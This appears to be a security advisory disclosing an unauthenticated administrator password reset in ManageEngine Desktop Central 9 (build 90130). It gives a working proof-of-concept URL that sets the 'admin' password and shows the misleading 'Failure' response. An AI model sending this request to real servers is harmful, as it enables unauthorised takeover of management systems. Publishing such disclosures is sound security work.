Manage Engine Desktop Central 9 Unauthorized Administrative Password Reset Vulnerability

A vulnerability exists in the Manage Engine Desktop Central 9 application that affects version (build 90130). This may affect earlier releases as well.

The vulnerability allows a remote unauthenticated user to change the password of any Manage Engine Desktop Central user with the ‘Administrator’ role (DCAdmin).
The following proof of concept URL changes the ‘admin’ user password to ‘admin3’. 

http://<IP>:8020/servlets/DCOperationsServlet?operation=addOrModifyUser&roleId=DCAdmin&userName=admin&password=admin3

The XML response suggests the user modification failed, however a user can perform a successful login with the supplied credentials:

<operation>
<operationstatus>Failure</operationstatus>
<message>Problem while modifying user admin in DC.</message>
</operation>

Complete control of the application can now be obtained by an unauthorised user.
